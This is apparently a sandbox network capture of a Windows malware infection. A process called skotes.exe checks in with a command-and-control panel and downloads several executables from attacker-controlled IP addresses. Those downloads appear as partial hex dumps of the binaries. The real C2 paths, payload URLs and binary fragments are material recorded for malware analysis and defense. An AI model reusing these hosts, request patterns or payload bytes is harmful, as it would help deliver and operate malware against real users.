Oct 30, 2024 11:46:35.512815952 CET	636	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:46:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 62 64 0d 0a 20 3c 63 3e 31 30 30 32 35 39 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 35 39 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 32 35 39 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 35 39 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 1bd <c>1002596001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002597001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002598001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002599001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#1002600001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdf7a815502bb4be1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	58190	185.215.113.16	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:46:35.522496939 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 11:46:36.456521034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:46:36 GMT Content-Type: application/octet-stream Content-Length: 2985472 Last-Modified: Wed, 30 Oct 2024 10:22:21 GMT Connection: keep-alive ETag: "672208dd-2d8e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 30 00 00 04 00 00 14 af 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@0-@Th@ ~@.rsrc@@.idata @hzcsxlrx**@hrhicodq0h-@.taggant00"l-@
Oct 30, 2024 11:46:36.456551075 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:46:36.456561089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:46:36.456619024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:46:36.456635952 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:46:36.456654072 CET	1148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: DFH<yt{_4M{nB~hzby<L9+n~-Je!r:gaF;:+<Bw"
Oct 30, 2024 11:46:36.456665993 CET	1236	IN	Data Raw: 0b 82 10 41 6e 3f 7d 9b cd 53 b0 be ff a0 8b f8 23 16 a3 88 82 97 e5 e6 9d ae 32 74 3f bc 35 57 fe 8e ae 0f 7f fe 2b 61 24 59 ba b1 17 57 8b f3 11 b8 7c e4 01 44 44 86 43 12 1e a0 6d 0a 0f 52 7e 8c 07 eb 29 1b bc 74 06 96 ef c1 03 54 78 96 1c 23 Data Ascii: An?}S#2t?5W+a$YW\|DDCmR~)tTx#_0Gd2\|_w{ -4ZxvD)gKCb?A&v</^SACD?l{eKH}LQc"UrOd#1O]9"#-yUn~
Oct 30, 2024 11:46:36.456671953 CET	1236	IN	Data Raw: 20 8b a5 66 b8 90 cd f5 ff 81 96 82 7b 1a b0 5b 46 3f 94 97 77 cc e6 70 15 94 d4 39 c1 48 dd fc 67 7b 4d 52 57 cb ba b9 0c 4a 1b b5 93 2f 09 8f f4 53 3e 52 4f eb f8 48 a0 ba 07 4d b3 c6 8b 36 58 03 75 d8 fd 04 e4 cf 9b 1c d5 3c ce 96 6e 1d 7b 51 Data Ascii: f{[F?wp9Hg{MRWJ/S>ROHM6Xu<n{Qf> QN'<~WOC+N{Upwzs\|uAMH24+\Ytl23;XVb)UsbOvn!.]'=
Oct 30, 2024 11:46:36.456696987 CET	224	IN	Data Raw: 10 22 43 6a 32 38 2c 6f 41 17 29 1a 5e 1c b2 cb 05 09 7d 4a f3 43 84 19 e6 88 35 8e 3e 8c 06 13 1e 34 b3 55 23 d5 60 53 9d 17 bc fa c6 10 cc 41 07 08 d6 3c fe b9 2e ce a4 fe c5 46 ed b1 96 bb 70 84 b0 0d fd 61 dc 4c 37 53 0d 0d 17 d1 7f 41 d8 7f Data Ascii: "Cj28,oA)^}JC5>4U#`SA<.FpaL7SAh~J'1mp=;VCWOiCXbXY2OBCX8p_]3)HCeuB!juT3Kz YKi;.\|Iv(43@.$[PAdFN
Oct 30, 2024 11:46:36.456707001 CET	1236	IN	Data Raw: 2b 4f 3c 80 17 fb 16 f9 e7 11 3e b3 c9 8d 96 b4 39 e7 b8 f3 03 d7 b3 29 0a 20 8b 63 12 8f 4d 66 50 2b 9f f9 4b f3 31 8f 07 9a e1 91 9c 82 6e 34 d7 10 7b 73 ba 7a cf 97 39 a0 fd 7c f9 fa b7 1e 25 f1 0a 30 53 01 7d 57 72 ad 0b ff 9f d7 2e d6 a7 88 Data Ascii: +O<>9) cMfP+K1n4{sz9\|%0S}Wr.Ycf_$H/iLQNl-B=L&SG3kbtYY?MbZG>9X)((5+FrhF)X6 cgrYrpz]Q?s
Oct 30, 2024 11:46:36.462416887 CET	1236	IN	Data Raw: 22 05 fa 6a 03 e8 08 51 ae df 6f e8 20 99 6c 56 87 78 6b 7a d5 b6 88 b4 50 cc ff f9 d2 86 77 54 f1 06 48 55 aa 2c fc 90 44 23 1b f7 0b 4c 66 54 06 a4 36 1d 0d 11 94 90 3b 75 1f bf 05 6b df d8 40 23 0d f7 15 f0 bd 8f a7 4f 08 dc 24 d3 ad 89 3c 3a Data Ascii: "jQo lVxkzPwTHU,D#LfT6;uk@#O$<:7z:qSFsXu<xWB\|@G\HN'TRJyWj(P>A?9l(i'8{Uw<or'{"sL]vBGl2?Q!jZT*;XNtxw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	58191	185.215.113.43	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:46:45.127463102 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002596001&unit=246122658369
Oct 30, 2024 11:46:45.945353031 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:46:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	58193	185.215.113.16	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:46:45.955413103 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 11:46:46.857549906 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:46:46 GMT Content-Type: application/octet-stream Content-Length: 2125824 Last-Modified: Wed, 30 Oct 2024 10:22:36 GMT Connection: keep-alive ETag: "672208ec-207000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 70 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 72 00 00 04 00 00 bc d6 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,pr@r @P.d. p.v@.rsrc .@.idata .@ *.@ksqqhkwnX@kdggtfho`rJ @.taggant0pr"N @
Oct 30, 2024 11:46:46.857567072 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:46:46.857664108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:46:46.857676029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:46:46.857703924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:46:46.857714891 CET	1236	IN	Data Raw: f3 b9 22 67 67 52 86 9e e1 f9 67 4e 1a cf 89 05 45 1d 67 cc de 3f 45 e5 6e 60 ea fa a2 6d 74 3d da 9f 2c f2 60 ec 06 b4 93 52 a1 15 f8 08 03 ed 59 2c 90 8c 17 47 8b cc 98 64 ec c7 d6 4d 74 d4 f7 8a 48 20 e4 f4 c8 83 bc d9 a4 4c 1f 89 51 7c f7 cc Data Ascii: "ggRgNEg?En`mt=,`RY,GdMtH LQ\|Hp&SBCgh]J(m"l!AR)(1Uo8 +sva&-D"#*-c+$)-159=AE{iUJia{YO
Oct 30, 2024 11:46:46.857728004 CET	848	IN	Data Raw: 59 5a da cb e5 b4 53 f3 34 35 7b 3a be 5c fa 45 c3 d8 c9 8a f5 48 c1 f2 2d 90 4d e4 04 1a e2 24 8d 08 bf be 2e 7f b4 67 bb 51 71 5d 5d 50 b0 f1 19 41 a5 1a 2e 8a cd 9a f9 65 a8 e1 e9 04 b7 db f4 96 09 ec 06 04 7f 6b 27 f7 ba 66 7c 02 74 5e d0 c9 Data Ascii: YZS45{:\EH-M$.gQq]]PA.ek'f\|t^.OOlsZT:"jYK36k[]b?Ej}erh'"P#NUm~zw\|nIE0NTr:WOC#t[CRjnt;RM
Oct 30, 2024 11:46:46.857739925 CET	1236	IN	Data Raw: f9 a9 8a e2 e5 84 a6 de 3d 00 cd 26 c7 9c 05 f4 80 65 4d fb e4 70 b6 45 ff bc e6 1c 5d 6d 34 f4 55 f4 ce f3 df ec a4 f3 84 55 1b f7 1c 8c d1 ed 96 0c 7c ea a0 cc 02 bd 49 af c8 e7 1c 24 7c c6 51 8b e9 fb d0 64 11 1d c5 c0 a6 fa 3a ea 7b 1c a9 ab Data Ascii: =&eMpE]m4UU\|I$\|Qd:{~4\|~.g~C-]JN1YeS[\|U:%k!Lp{nvLkZIKVr^<Pz^d5VlW&R?E8Zz},Nh9\|j
Oct 30, 2024 11:46:46.857753038 CET	1236	IN	Data Raw: 60 8c cd 06 15 5d 73 ea 97 8c 9b 45 f9 4d 63 f3 c3 59 7a b6 88 5e 76 ba e6 65 56 ec aa 0d c3 0a c1 4c 8f 63 ed 1a 88 9f ff 5d 66 a6 6a 94 9a f3 10 c8 a9 86 fc 70 7b e7 1c 86 7b 36 de d7 7e 96 88 77 9a aa e6 c0 e6 21 47 6f da d4 e1 d4 7b fb 6c 55 Data Ascii: `]sEMcYz^veVLc]fjp{{6~w!Go{lUk"[\|glQ]Z}>Ujd&a\|{F:n]69db]kjQ$v(kZ[QW<\|sA\sgTb(A}\~Gj_NT._W~<
Oct 30, 2024 11:46:46.857765913 CET	1236	IN	Data Raw: d6 c1 95 e2 43 5d 72 46 55 4b 47 1f 80 85 8a 7a e6 86 0e ec ba 4e ea 9a 16 49 1e 93 d5 5d 2a 1f a2 b6 32 4c 84 d8 3a f4 ed 2c 74 96 98 38 29 e4 1c 3c 7c de 10 82 05 69 27 6c 99 d0 f1 82 ac fe e5 55 ec 9e c9 ae 2e 33 05 e5 7b 22 d5 b5 f0 25 4d 76 Data Ascii: C]rFUKGzNI]2L:,t8)<\|i'lU.3{"%Mv3Q]u&D]hcdM]rnUjG\|k\|V.XFa4\|J=i(Nm]$Pu]&+;"n]\2]QVML{nz#]plH:eZ0
Oct 30, 2024 11:46:46.863210917 CET	1236	IN	Data Raw: de 5b 7e 52 55 a1 25 92 b2 f4 c4 e6 1f d0 52 2c 5d ee 63 5f ff 93 d3 e5 04 94 6d fb bc 06 fb 2b e1 fb 4c b6 0d 4a b2 44 73 53 55 24 d4 73 e6 be d7 f3 b4 09 b2 2c 8c e5 c9 97 6d ea 04 98 14 bb e3 db 43 f6 cf 11 73 54 91 a5 e4 bd 22 fc 81 0a 23 f2 Data Ascii: [~RU%R,]c_m+LJDsSU$s,mCsT"#,OZ$p%) !*Xnn@.^mx66b&kS nPf;TP;PU%6PK#5CeD;dZLMXHM/2<4]&DF,}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	58198	185.215.113.43	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:46:54.579756021 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002597001&unit=246122658369
Oct 30, 2024 11:46:55.487101078 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:46:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	58200	185.215.113.16	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:46:55.496108055 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 11:46:56.423444986 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:46:56 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Wed, 30 Oct 2024 10:42:19 GMT Connection: keep-alive ETag: "67220d8b-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 83 0d 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL"g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 30, 2024 11:46:56.423491955 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Oct 30, 2024 11:46:56.423501968 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Oct 30, 2024 11:46:56.423522949 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Oct 30, 2024 11:46:56.423537016 CET	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Oct 30, 2024 11:46:56.423548937 CET	1236	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Oct 30, 2024 11:46:56.423563957 CET	848	IN	Data Raw: 85 37 ff ff ff 83 39 12 0f 8c 5e 06 04 00 83 39 13 0f 8e fa 02 00 00 83 39 18 0f 8e 4c 06 04 00 83 39 1e 0f 8e 13 ff ff ff 83 39 21 0f 8e 3a 06 04 00 83 39 23 0f 8e fb fe ff ff e9 2c 06 04 00 83 f8 20 0f 8f ff 00 00 00 0f 84 1e 01 00 00 83 e8 14 Data Ascii: 79^99L99!:9#, rU]]EC}Pl]GpEUAjYf9HEHOlEuE{le
Oct 30, 2024 11:46:56.423593998 CET	1236	IN	Data Raw: 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 85 c0 78 08 3b fb 0f 84 b9 fb ff ff 56 68 93 00 00 00 e9 36 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 e6 02 04 00 8b 55 f8 4a 4f 83 bd 60 ff ff Data Ascii: Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&@'@B&@&@$@;$@UE;#M~#M
Oct 30, 2024 11:46:56.423635006 CET	1236	IN	Data Raw: ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 Data Ascii: 5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,PPhIPPWW5XMMj
Oct 30, 2024 11:46:56.423649073 CET	424	IN	Data Raw: c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 8b 41 18 8b 4d 08 3b 0c 90 74 08 ff 34 90 e8 21 78 00 00 b0 01 5d c2 04 00 8b 4d 08 68 08 cc 49 00 e8 9e 3a 00 00 32 c0 eb eb 56 57 8b f9 8d 77 14 8b ce e8 15 37 00 00 83 27 00 8b ce c6 47 24 Data Ascii: U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLHHPPjIUuUuMYY]U
Oct 30, 2024 11:46:56.429214001 CET	1236	IN	Data Raw: 24 c7 49 00 68 d4 ca 49 00 ff 15 20 c7 49 00 83 3d 90 19 4d 00 00 a3 28 25 4d 00 75 d3 ff 15 1c c7 49 00 a3 90 19 4d 00 eb c6 ff 75 0c 51 51 56 b9 90 19 4d 00 e8 0c 00 00 00 eb b4 6a 00 ff 15 14 c7 49 00 eb aa 55 8b ec 83 ec 3c 53 56 57 6a 2c 8d Data Ascii: $IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jPE3Mj[jZ-j@^jw_^[UQSVWjYwxvU};tPuEEP_^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	58201	185.215.113.206	80	4304	C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:46:55.679979086 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 11:46:56.575161934 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:46:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
